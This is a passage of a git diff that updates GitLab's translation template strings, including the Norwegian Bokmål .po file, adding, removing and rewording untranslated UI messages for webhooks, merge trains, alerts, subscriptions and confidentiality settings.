@@ -26341,9 +27050,6 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
-msgid "User Cohorts are only shown when the %{usage_ping_link_start}usage ping%{usage_ping_link_end} is enabled."
-msgstr ""
-
msgid "User IDs"
msgstr ""
@@ -26587,9 +27293,15 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
+msgid "Users requesting access to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
msgid "Users were successfully added."
msgstr ""
+msgid "Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "Users with a Guest role or those who don't belong to any projects or groups don't count towards seats in use."
msgstr ""
@@ -26623,6 +27335,9 @@ msgstr ""
msgid "Validate"
msgstr ""
+msgid "Validate your GitLab CI configuration"
+msgstr ""
+
msgid "Validate your GitLab CI configuration file"
msgstr ""
@@ -26659,6 +27374,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStream|The Default Value Stream cannot be deleted"
+msgstr ""
+
msgid "Variable"
msgstr ""
@@ -26701,6 +27419,12 @@ msgstr ""
msgid "Version"
msgstr ""
+msgid "Version %{versionNumber}"
+msgstr ""
+
+msgid "Version %{versionNumber} (latest)"
+msgstr ""
+
msgid "View Documentation"
msgstr ""
@@ -26903,6 +27627,9 @@ msgstr ""
msgid "Vulnerabilities over time"
msgstr ""
+msgid "Vulnerability Report"
+msgstr ""
+
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
@@ -26966,9 +27693,6 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong while trying to unlink the issue. Please try again later."
msgstr ""
-msgid "VulnerabilityManagement|Something went wrong, could not create an issue."
-msgstr ""
-
msgid "VulnerabilityManagement|Something went wrong, could not get user."
msgstr ""
@@ -27110,7 +27834,7 @@ msgstr ""
msgid "We sent you an email with reset password instructions"
msgstr ""
-msgid "We tried to automatically renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
+msgid "We tried to automatically renew your subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
msgstr ""
msgid "We want to be sure it is you, please confirm you are not a robot."
@@ -27155,6 +27879,90 @@ msgstr ""
msgid "Webhooks have moved. They can now be found under the Settings menu."
msgstr ""
+msgid "Webhooks|Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Issues events"
+msgstr ""
+
+msgid "Webhooks|Deployment events"
+msgstr ""
+
+msgid "Webhooks|Enable SSL verification"
+msgstr ""
+
+msgid "Webhooks|Issues events"
+msgstr ""
+
+msgid "Webhooks|Job events"
+msgstr ""
+
+msgid "Webhooks|Merge request events"
+msgstr ""
+
+msgid "Webhooks|Pipeline events"
+msgstr ""
+
+msgid "Webhooks|Push events"
+msgstr ""
+
+msgid "Webhooks|SSL verification"
+msgstr ""
+
+msgid "Webhooks|Secret Token"
+msgstr ""
+
+msgid "Webhooks|Tag push events"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered by a push to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a confidential issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a deployment is finished/failed/canceled"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a merge request is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a new tag is pushed to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a wiki page is created/updated"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when an issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment on a confidential issue"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the job status changes"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the pipeline status changes"
+msgstr ""
+
+msgid "Webhooks|Trigger"
+msgstr ""
+
+msgid "Webhooks|URL"
+msgstr ""
+
+msgid "Webhooks|Use this token to validate received payloads. It will be sent with the request in the X-Gitlab-Token HTTP header."
+msgstr ""
+
+msgid "Webhooks|Wiki Page events"
+msgstr ""
+
msgid "Wednesday"
msgstr ""
@@ -27176,21 +27984,21 @@ msgstr ""
msgid "Welcome to GitLab"
msgstr ""
-msgid "Welcome to GitLab %{name}!"
+msgid "Welcome to GitLab%{br_tag}%{name}!"
msgstr ""
msgid "Welcome to GitLab, %{first_name}!"
msgstr ""
-msgid "Welcome to GitLab.com%{br_tag}@%{name}!"
-msgstr ""
-
msgid "Welcome to the guided GitLab tour"
msgstr ""
msgid "Welcome to your Issue Board!"
msgstr ""
+msgid "Welcome to your issue board!"
+msgstr ""
+
msgid "We’ve been making changes to %{featureName} and we’d love your feedback %{linkStart}in this issue%{linkEnd} to help us improve the experience."
msgstr ""
@@ -27200,6 +28008,9 @@ msgstr ""
msgid "What describes you best?"
msgstr ""
+msgid "What's new at GitLab"
+msgstr ""
+
msgid "What’s your experience level?"
msgstr ""
@@ -27517,10 +28328,10 @@ msgstr ""
msgid "You are connected to the Prometheus server, but there is currently no data to display."
msgstr ""
-msgid "You are going to remove %{group_name}, this will also remove all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to delete %{project_full_name}. Deleted projects CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
-msgid "You are going to remove %{project_full_name}. Removed project CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to remove %{group_name}, this will also delete all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
msgid "You are going to remove the fork relationship from %{project_full_name}. Are you ABSOLUTELY sure?"
@@ -27529,6 +28340,12 @@ msgstr ""
msgid "You are going to transfer %{project_full_name} to another owner. Are you ABSOLUTELY sure?"
msgstr ""
+msgid "You are going to turn off the confidentiality. This means %{strongStart}everyone%{strongEnd} will be able to see and leave a comment on this %{issuableType}."
+msgstr ""
+
+msgid "You are going to turn on the confidentiality. This means that only team members with %{strongStart}at least Reporter access%{strongEnd} are able to see and leave comments on the %{issuableType}."
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -27538,6 +28355,9 @@ msgstr ""
msgid "You are not authorized to perform this action"
msgstr ""
+msgid "You are not authorized to update this scanner profile"
+msgstr ""
+
msgid "You are now impersonating %{username}"
msgstr ""
@@ -27574,9 +28394,6 @@ msgstr ""
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
-msgid "You can also use project access tokens to authenticate against Git over HTTP."
-msgstr ""
-
msgid "You can always edit this later"
msgstr ""
@@ -27610,13 +28427,13 @@ msgstr ""
msgid "You can get started by cloning the repository or start adding files to it with one of the following options."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong> or invite another group."
+msgid "You can invite a new member to %{project_name} or invite another group."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong>."
+msgid "You can invite a new member to %{project_name}."
msgstr ""
-msgid "You can invite another group to <strong>%{project_name}</strong>."
+msgid "You can invite another group to %{project_name}."
msgstr ""
msgid "You can move around the graph by using the arrow keys."
@@ -27700,10 +28517,10 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
+msgid "You didn't renew your subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription so it was downgraded to the GitLab Core Plan."
+msgid "You didn't renew your subscription so it was downgraded to the GitLab Core Plan."
msgstr ""
msgid "You do not have an active license"
@@ -27916,6 +28733,9 @@ msgstr ""
msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
msgstr ""
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "You'll be signed out from your current account automatically."
msgstr ""
@@ -27991,7 +28811,7 @@ msgstr ""
msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
msgstr ""
-msgid "Your DevOps Score gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
+msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -28108,6 +28928,9 @@ msgstr ""
msgid "Your instance has %{remaining_user_count} users remaining of the %{total_user_count} included in your subscription. You can add more users than the number included in your license, and we will include the overage in your next bill."
msgstr ""
+msgid "Your instance has exceeded your subscription's licensed user count."
+msgstr ""
+
msgid "Your instance is approaching its licensed user count"
msgstr ""
@@ -28236,6 +29059,9 @@ msgstr ""
msgid "among other things"
msgstr ""
+msgid "and"
+msgstr ""
+
msgid "any-approver for the merge request already exists"
msgstr ""
@@ -28538,12 +29364,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "confidentiality|You are going to turn off the confidentiality. This means <strong>everyone</strong> will be able to see and leave a comment on this issue."
-msgstr ""
-
-msgid "confidentiality|You are going to turn on the confidentiality. This means that only team members with <strong>at least Reporter access</strong> are able to see and leave comments on the issue."
-msgstr ""
-
msgid "connecting"
msgstr ""
@@ -28700,6 +29520,11 @@ msgstr ""
msgid "from"
msgstr ""
+msgid "from %d job"
+msgid_plural "from %d jobs"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "group"
msgstr ""
@@ -28745,9 +29570,6 @@ msgstr ""
msgid "in project %{link_to_project}"
msgstr ""
-msgid "index"
-msgstr ""
-
msgid "instance completed"
msgid_plural "instances completed"
msgstr[0] ""
@@ -28789,6 +29611,9 @@ msgstr ""
msgid "is not allowed. Try again with a different email address, or contact your GitLab admin."
msgstr ""
+msgid "is not allowed. We do not currently support project-level iterations"
+msgstr ""
+
msgid "is not an email you own"
msgstr ""
@@ -28938,9 +29763,15 @@ msgstr ""
msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
msgstr ""
+msgid "mrWidget|A new merge train has started and this merge request is the first of the queue."
+msgstr ""
+
msgid "mrWidget|Added to the merge train by"
msgstr ""
+msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
+msgstr ""
+
msgid "mrWidget|Allows commits from members who can merge to the target branch"
msgstr ""
@@ -28953,6 +29784,9 @@ msgstr ""
msgid "mrWidget|An error occurred while submitting your approval."
msgstr ""
+msgid "mrWidget|Approval is optional"
+msgstr ""
+
msgid "mrWidget|Approval password is invalid."
msgstr ""
@@ -29025,9 +29859,6 @@ msgstr ""
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
-msgid "mrWidget|In the merge train at position %{mergeTrainPosition}"
-msgstr ""
-
msgid "mrWidget|Jump to first unresolved thread"
msgstr ""
@@ -29061,12 +29892,6 @@ msgstr ""
msgid "mrWidget|More information"
msgstr ""
-msgid "mrWidget|No approval required"
-msgstr ""
-
-msgid "mrWidget|No approval required; you can still approve"
-msgstr ""
-
msgid "mrWidget|Open in Web IDE"
msgstr ""
@@ -29148,19 +29973,19 @@ msgstr ""
msgid "mrWidget|There are merge conflicts"
msgstr ""
-msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
+msgid "mrWidget|This action will add the merge request to the merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|This action will start a merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request is in the process of being merged"
+msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
msgstr ""
-msgid "mrWidget|This merge request will be added to the merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|This merge request will start a merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request is in the process of being merged"
msgstr ""
msgid "mrWidget|This project is archived, write access has been disabled"
@@ -29372,6 +30197,9 @@ msgstr ""
msgid "quick actions"
msgstr ""
+msgid "recent activity"
+msgstr ""
+
msgid "register"
msgstr ""
@@ -29416,9 +30244,6 @@ msgstr ""
msgid "satisfied"
msgstr ""
-msgid "score"
-msgstr ""
-
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -29536,6 +30361,9 @@ msgstr ""
msgid "this document"
msgstr ""
+msgid "time summary"
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -29554,6 +30382,9 @@ msgstr ""
msgid "triggered"
msgstr ""
+msgid "two-factor authentication settings"
+msgstr ""
+
msgid "unicode domains should use IDNA encoding"
msgstr ""
@@ -29617,6 +30448,9 @@ msgstr ""
msgid "vulnerability|Add comment & dismiss"
msgstr ""
+msgid "vulnerability|Add comment and dismiss"
+msgstr ""
+
msgid "vulnerability|Dismiss vulnerability"
msgstr ""
diff --git a/locale/nb_NO/gitlab.po b/locale/nb_NO/gitlab.po
index 4661c87bdb0..3caafbd384b 100644
--- a/locale/nb_NO/gitlab.po
+++ b/locale/nb_NO/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: nb\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-08-06 13:41\n"
+"PO-Revision-Date: 2020-09-04 23:05\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -56,13 +56,13 @@ msgstr[1] ""
msgid " or "
msgstr ""
-msgid " or <!merge request id>"
+msgid " or %{emphasisStart}!merge request id%{emphasisEnd}"
msgstr ""
-msgid " or <#issue id>"
+msgid " or %{emphasisStart}#issue id%{emphasisEnd}"
msgstr ""
-msgid " or <&epic id>"
+msgid " or %{emphasisStart}&epic id%{emphasisEnd}"
msgstr ""
msgid " or references (e.g. path/to/project!merge_request_id)"
@@ -71,6 +71,9 @@ msgstr ""
msgid "\"%{path}\" did not exist on \"%{ref}\""
msgstr ""
+msgid "\"el\" parameter is required for createInstance()"
+msgstr ""
+
msgid "%d Scanned URL"
msgid_plural "%d Scanned URLs"
msgstr[0] ""
@@ -297,6 +300,9 @@ msgstr[1] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{address} is an invalid IP address range"
+msgstr ""
+
msgid "%{author_link} wrote:"
msgstr ""
@@ -333,6 +339,9 @@ msgstr ""
msgid "%{cores} cores"
msgstr ""
+msgid "%{count} %{scope} for term '%{term}'"
+msgstr ""
+
msgid "%{count} LOC/commit"
msgstr ""
@@ -389,6 +398,9 @@ msgstr ""
msgid "%{description}- Sentry event: %{errorUrl}- First seen: %{firstSeen}- Last seen: %{lastSeen} %{countLabel}: %{count}%{userCountLabel}: %{userCount}"
msgstr ""
+msgid "%{due_date} (Past due)"
+msgstr ""
+
msgid "%{duration}ms"
msgstr ""
@@ -416,7 +428,7 @@ msgstr ""
msgid "%{firstMilestoneName} + %{numberOfOtherMilestones} more"
msgstr ""
-msgid "%{global_id} is not a valid id for %{expected_type}."
+msgid "%{global_id} is not a valid ID for %{expected_type}."
msgstr ""
msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
@@ -503,9 +515,6 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{lineOneStart}Drag and drop to upload your designs%{lineOneEnd} or %{linkStart}click to upload%{linkEnd}."
-msgstr ""
-
msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
@@ -524,6 +533,9 @@ msgstr ""
msgid "%{loadingIcon} Started"
msgstr ""
+msgid "%{location} is missing required keys: %{keys}"
+msgstr ""
+
msgid "%{lock_path} is locked by GitLab User %{lock_user_id}"
msgstr ""
@@ -533,6 +545,18 @@ msgstr ""
msgid "%{mergeLength}/%{usersLength} can merge"
msgstr ""
+msgid "%{message} showing first %{warnings_displayed}"
+msgstr ""
+
+msgid "%{milestone_name} (Past due)"
+msgstr ""
+
+msgid "%{milestone} (expired)"
+msgstr ""
+
+msgid "%{milliseconds}ms"
+msgstr ""
+
msgid "%{mrText}, this issue will be closed automatically."
msgstr ""
@@ -645,6 +669,9 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}"
msgstr ""
+msgid "%{seconds}s"
+msgstr ""
+
msgid "%{securityScanner} is not enabled for this project. %{linkStart}More information%{linkEnd}"
msgid_plural "%{securityScanner} are not enabled for this project. %{linkStart}More information%{linkEnd}"
msgstr[0] ""
@@ -670,6 +697,9 @@ msgstr ""
msgid "%{size} bytes"
msgstr ""
+msgid "%{sourceBranch} into %{targetBranch}"
+msgstr ""
+
msgid "%{spammable_titlecase} was submitted to Akismet successfully."
msgstr ""
@@ -685,6 +715,9 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
+msgid "%{strongStart}Deletes%{strongEnd} source branch"
+msgstr ""
+
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
@@ -758,6 +791,9 @@ msgstr ""
msgid "%{totalWeight} total weight"
msgstr ""
+msgid "%{total_warnings} warning(s) found:"
+msgstr ""
+
msgid "%{total} open issue weight"
msgstr ""
@@ -791,6 +827,9 @@ msgstr ""
msgid "%{webhooks_link_start}%{webhook_type}%{link_end} enable you to send notifications to web applications in response to events in a group or project. We recommend using an %{integrations_link_start}integration%{link_end} in preference to a webhook."
msgstr ""
+msgid "&lt; 1 hour"
+msgstr ""
+
msgid "&lt;no name set&gt;"
msgstr ""
@@ -800,7 +839,22 @@ msgstr ""
msgid "&lt;project name&gt;"
msgstr ""
-msgid "'%{data}' is invalid at '%{data_pointer}'. Should be '%{schema}' due to schema definition at '%{schema_pointer}'"
+msgid "'%{data}' at %{location} does not match format: %{format}"
+msgstr ""
+
+msgid "'%{data}' at %{location} does not match pattern: %{pattern}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is invalid: error_type=%{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not of type: %{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not one of: %{enum}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not: %{const}"
msgstr ""
msgid "'%{level}' is not a valid visibility level"
@@ -844,6 +898,9 @@ msgstr ""
msgid "(line: %{startLine})"
msgstr ""
+msgid "(max size 15 MB)"
+msgstr ""
+
msgid "(removed)"
msgstr ""
@@ -1042,15 +1099,6 @@ msgstr ""
msgid ":%{startLine} to %{endLine}"
msgstr ""
-msgid "< 1 hour"
-msgstr ""
-
-msgid "<project name>"
-msgstr ""
-
-msgid "<strong>Deletes</strong> source branch"
-msgstr ""
-
msgid "A 'Runner' is a process which runs a job. You can set up as many Runners as you need."
msgstr ""
@@ -1114,7 +1162,7 @@ msgstr ""
msgid "A merge request approval is required when a security report contains a new vulnerability of high, critical, or unknown severity."
msgstr ""
-msgid "A merge request approval is required when the license compliance report contains a blacklisted license."
+msgid "A merge request approval is required when the license compliance report contains a denied license."
msgstr ""
msgid "A new Auto DevOps pipeline has been created, go to %{pipelines_link_start}Pipelines page%{pipelines_link_end} for details"
@@ -1132,6 +1180,9 @@ msgstr ""
msgid "A new impersonation token has been created."
msgstr ""
+msgid "A non-confidential epic cannot be assigned to a confidential parent epic"
+msgstr ""
+
msgid "A plain HTML site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features."
msgstr ""
@@ -1234,6 +1285,9 @@ msgstr ""
msgid "Access forbidden. Check your access level."
msgstr ""
+msgid "Access requests"
+msgstr ""
+
msgid "Access to '%{classification_label}' not allowed"
msgstr ""
@@ -1345,6 +1399,9 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
+msgid "Activate user activity analysis"
+msgstr ""
+
msgid "Active"
msgstr ""
@@ -1377,12 +1434,6 @@ msgstr[1] ""
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
-msgid "Add .gitlab-ci.yml to enable or configure SAST"
-msgstr ""
-
-msgid "Add .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
-msgstr ""
-
msgid "Add CHANGELOG"
msgstr ""
@@ -1497,6 +1548,9 @@ msgstr ""
msgid "Add comment now"
msgstr ""
+msgid "Add comment to design"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1509,6 +1563,9 @@ msgstr ""
msgid "Add environment"
msgstr ""
+msgid "Add existing confidential %{issuableType}"
+msgstr ""
+
msgid "Add header and footer to emails. Please note that color settings will only be applied within the application interface"
msgstr ""
@@ -1521,6 +1578,9 @@ msgstr ""
msgid "Add italic text"
msgstr ""
+msgid "Add key"
+msgstr ""
+
msgid "Add label(s)"
msgstr ""
@@ -1800,6 +1860,9 @@ msgstr ""
msgid "AdminSettings|Select a template"
msgstr ""
+msgid "AdminSettings|Service Templates will soon be deprecated."
+msgstr ""
+
msgid "AdminSettings|Service template allows you to set default values for integrations"
msgstr ""
@@ -1815,6 +1878,9 @@ msgstr ""
msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
msgstr ""
+msgid "AdminSettings|Try using the latest version of Integrations instead."
+msgstr ""
+
msgid "AdminSettings|When creating a new environment variable it will be protected by default."
msgstr ""
@@ -2042,6 +2108,9 @@ msgstr[1] ""
msgid "AlertManagement|Acknowledged"
msgstr ""
+msgid "AlertManagement|Activity feed"
+msgstr ""
+
msgid "AlertManagement|Alert"
msgstr ""
@@ -2072,7 +2141,7 @@ msgstr ""
msgid "AlertManagement|Authorize external service"
msgstr ""
-msgid "AlertManagement|Create issue"
+msgid "AlertManagement|Create incident"
msgstr ""
msgid "AlertManagement|Critical"
@@ -2129,9 +2198,6 @@ msgstr ""
msgid "AlertManagement|Opsgenie is enabled"
msgstr ""
-msgid "AlertManagement|Overview"
-msgstr ""
-
msgid "AlertManagement|Please try again."
msgstr ""
@@ -2144,6 +2210,9 @@ msgstr ""
msgid "AlertManagement|Resolved"
msgstr ""
+msgid "AlertManagement|Runbook"
+msgstr ""
+
msgid "AlertManagement|Service"
msgstr ""
@@ -2186,16 +2255,13 @@ msgstr ""
msgid "AlertManagement|Triggered"
msgstr ""
-msgid "AlertManagement|Unassigned"
-msgstr ""
-
msgid "AlertManagement|Unknown"
msgstr ""
msgid "AlertManagement|View alerts in Opsgenie"
msgstr ""
-msgid "AlertManagement|View issue"
+msgid "AlertManagement|View incident"
msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
@@ -2225,7 +2291,7 @@ msgstr ""
msgid "AlertSettings|Authorization key"
msgstr ""
-msgid "AlertSettings|Authorization key has been successfully reset"
+msgid "AlertSettings|Authorization key has been successfully reset. Please save your changes now."
msgstr ""
msgid "AlertSettings|Copy"
@@ -2324,6 +2390,9 @@ msgstr ""
msgid "All environments"
msgstr ""
+msgid "All epics"
+msgstr ""
+
msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
msgstr ""
@@ -2471,6 +2540,9 @@ msgstr ""
msgid "An %{link_start}alert%{link_end} with the same fingerprint is already open. To change the status of this alert, resolve the linked alert."
msgstr ""
+msgid "An administrator changed the password for your GitLab account on %{link_to}."
+msgstr ""
+
msgid "An alert has been triggered in %{project_path}."
msgstr ""
@@ -2537,6 +2609,9 @@ msgstr ""
msgid "An error occurred while committing your changes."
msgstr ""
+msgid "An error occurred while creating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while decoding the file."
msgstr ""
@@ -2609,9 +2684,18 @@ msgstr ""
msgid "An error occurred while fetching the Service Desk address."
msgstr ""
+msgid "An error occurred while fetching the board issues. Please reload the page."
+msgstr ""
+
+msgid "An error occurred while fetching the board lists. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
+msgid "An error occurred while fetching the board swimlanes. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the builds."
msgstr ""
@@ -2753,13 +2837,16 @@ msgstr ""
msgid "An error occurred while retrieving diff"
msgstr ""
-msgid "An error occurred while saving LDAP override status. Please try again."
+msgid "An error occurred while retrieving diff files"
msgstr ""
-msgid "An error occurred while saving assignees"
+msgid "An error occurred while retrieving projects."
msgstr ""
-msgid "An error occurred while saving the approval settings"
+msgid "An error occurred while saving LDAP override status. Please try again."
+msgstr ""
+
+msgid "An error occurred while saving assignees"
msgstr ""
msgid "An error occurred while saving the template. Please check if the template exists."
@@ -2786,12 +2873,18 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
msgid "An error occurred while validating username"
msgstr ""
+msgid "An error occurred. Please sign in again."
+msgstr ""
+
msgid "An error occurred. Please try again."
msgstr ""
@@ -2870,6 +2963,9 @@ msgstr ""
msgid "Any Author"
msgstr ""
+msgid "Any Status"
+msgstr ""
+
msgid "Any branch"
msgstr ""
@@ -3085,6 +3181,9 @@ msgstr ""
msgid "April"
msgstr ""
+msgid "Architecture not found for OS"
+msgstr ""
+
msgid "Archive"
msgstr ""
@@ -3097,6 +3196,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived in this version"
+msgstr ""
+
msgid "Archived project! Repository and other project resources are read only"
msgstr ""
@@ -3112,9 +3214,6 @@ msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
msgstr ""
-msgid "Are you setting up GitLab for a company?"
-msgstr ""
-
msgid "Are you sure that you want to archive this project?"
msgstr ""
@@ -3223,7 +3322,7 @@ msgstr ""
msgid "Are you sure? Removing this GPG key does not affect already signed commits."
msgstr ""
-msgid "Are you sure? The device will be signed out of GitLab."
+msgid "Are you sure? The device will be signed out of GitLab and all remember me tokens revoked."
msgstr ""
msgid "Are you sure? This will invalidate your registered applications and U2F devices."
@@ -3235,9 +3334,6 @@ msgstr ""
msgid "Artifact"
msgstr ""
-msgid "Artifact ID"
-msgstr ""
-
msgid "Artifact could not be deleted."
msgstr ""
@@ -3250,6 +3346,9 @@ msgstr ""
msgid "As U2F devices are only supported by a few browsers, we require that you set up a two-factor authentication app before a U2F device. That way you'll always be able to log in - even when you're using an unsupported browser."
msgstr ""
+msgid "As we continue to build more features for SAST, we'd love your feedback on the SAST configuration feature in %{linkStart}this issue%{linkEnd}."
+msgstr ""
+
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
@@ -3509,7 +3608,7 @@ msgstr ""
msgid "Authorize %{link_to_client} to use your account?"
msgstr ""
-msgid "Authorize <strong>%{user}</strong> to use your account?"
+msgid "Authorize %{user} to use your account?"
msgstr ""
msgid "Authorize external services to send alerts to GitLab"
@@ -3587,6 +3686,9 @@ msgstr ""
msgid "Automatic certificate management using Let's Encrypt"
msgstr ""
+msgid "Automatically close incident issues when the associated Prometheus alert resolves."
+msgstr ""
+
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
msgstr ""
@@ -3713,7 +3815,7 @@ msgstr ""
msgid "Badges|This project has no badges"
msgstr ""
-msgid "Badges|You are going to delete this badge. Deleted badges <strong>cannot</strong> be restored."
+msgid "Badges|You are going to delete this badge. Deleted badges %{strongStart}cannot%{strongEnd} be restored."
msgstr ""
msgid "Badges|Your badges"
@@ -3827,6 +3929,9 @@ msgstr ""
msgid "BillingPlans|per user"
msgstr ""
+msgid "BillingPlan|Contact sales"
+msgstr ""
+
msgid "BillingPlan|Upgrade"
msgstr ""
@@ -3896,13 +4001,16 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Both project and dashboard_path are required"
+msgstr ""
+
msgid "Branch"
msgstr ""
msgid "Branch %{branchName} was not found in this project's repository."
msgstr ""
-msgid "Branch <strong>%{branch_name}</strong> was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
+msgid "Branch %{branch_name} was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
msgstr ""
msgid "Branch has changed"
@@ -4097,6 +4205,9 @@ msgstr ""
msgid "Burnup chart"
msgstr ""
+msgid "Burnup chart could not be generated due to too many events"
+msgstr ""
+
msgid "Business"
msgstr ""
@@ -4271,6 +4382,9 @@ msgstr ""
msgid "Cancel"
msgstr ""
+msgid "Cancel index deletion"
+msgstr ""
+
msgid "Cancel running"
msgstr ""
@@ -4304,10 +4418,10 @@ msgstr ""
msgid "Cannot import because issues are not available in this project."
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential issues"
+msgid "Cannot make the epic confidential if it contains non-confidential child epics"
msgstr ""
